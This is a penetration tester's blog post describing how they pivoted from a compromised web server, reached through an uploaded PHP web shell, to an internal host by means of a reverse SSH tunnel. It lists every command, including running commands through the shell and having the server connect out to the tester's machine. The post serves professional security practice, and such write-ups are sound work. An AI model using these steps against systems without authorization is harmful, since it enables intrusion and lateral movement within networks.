During a recent penetration test we have experienced the situation where we’ve gained remote code execution with limited privileges to a web server and had to pivot to other hosts from the internal network.

For this, we had to find a reliable method to forward our traffic from our local machine to the internal host via the compromised server. This blog post describes how we solved this situation – for future reference.

Problem details

Our scenario is best described in the diagram below:

Achieving our goal was not that straight forward since the compromised server was behind a firewall and only ports 80 and 443 were permitted inbound. Furthermore, we were executing commands as www-data user and our non-interactive shell (PHP passthru) was pretty limited.

Our solution

The solution that we chose was to create a reverse SSH tunnel from the web server to our local machine and do arbitrary port forwarding via the encrypted channel. The expected setup is described in the following diagram:

However, doing SSH from the PHP shell is not working directly because this shell is non-interactive and the SSH client expects a password interactively.

In order to overcome this situation, we had to use SSH public key authentication, which does not require a password. However, our web server user did not have a public-private SSH key pair, so we had to create one using ssh-keygen command. This also had to be run non-interactively by specifying the output path of the key files and the password in the parameters.

The next step was to create a low-privileged user on our machine and copy the web server’s SSH public key (/tmp/id_rsa.pub) to our authorized_keys file. This way, www-data would be able to SSH to our machine without a password.

Right now, we should be able to create a reverse SSH connection from the compromised web server to our machine and forward the local port 8080 to the internal server 192.168.20:8080 using the following command:

wget -O - -q "http://webserver.com/uploads/sh.php?cmd=ssh -i /tmp/id_rsa -o StrictHostKeyChecking=no -R 127.0.0.1:8080:192.168.20.13:8080 -N -f tempuser@89.43.x.x"

This command will not output anything but we can see that our local SSH server has opened the TCP port 8080 running as tempuser. When connecting to this port, the traffic will be forwarded via the encrypted SSH channel to the port 8080 of the internal server, exactly as we wanted.

Commands reference

For future reference, here is the list of commands utilized in this scenario (all commands were given on our own machine):

wget -O - -q "http://webserver.com/uploads/sh.php?cmd=whoami" wget -O - -q "http://webserver.com/uploads/sh.php?cmd=ssh-keygen -f /tmp/id_rsa -N \"\" " wget -O - -q "http://webserver.com/uploads/sh.php?cmd=cat /tmp/id_rsa.pub " sudo adduser --system tempuser sudo mkdir /home/tempuser/.ssh echo "ssh-rsa AAAAB3NzaC1yc2EAAA....sQCuKX www-data@webserver.com" | sudo tee /home/tempuser/.ssh/authorized_keys > /dev/null wget -O - -q "http://webserver.com/uploads/sh.php?cmd=ssh -i /tmp/id_rsa -o StrictHostKeyChecking=no -R 127.0.0.1:8080:192.168.20.13:8080 -N -f tempuser@89.43.x.x"